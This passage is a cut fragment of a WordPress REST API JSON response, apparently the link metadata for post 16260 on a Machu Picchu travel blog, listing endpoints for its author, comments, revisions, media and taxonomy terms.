picchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=16260"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16260\/revisions"}],"predecessor-version":[{"id":16276,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16260\/revisions\/16276"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/16264"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=16260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=16260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=16260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}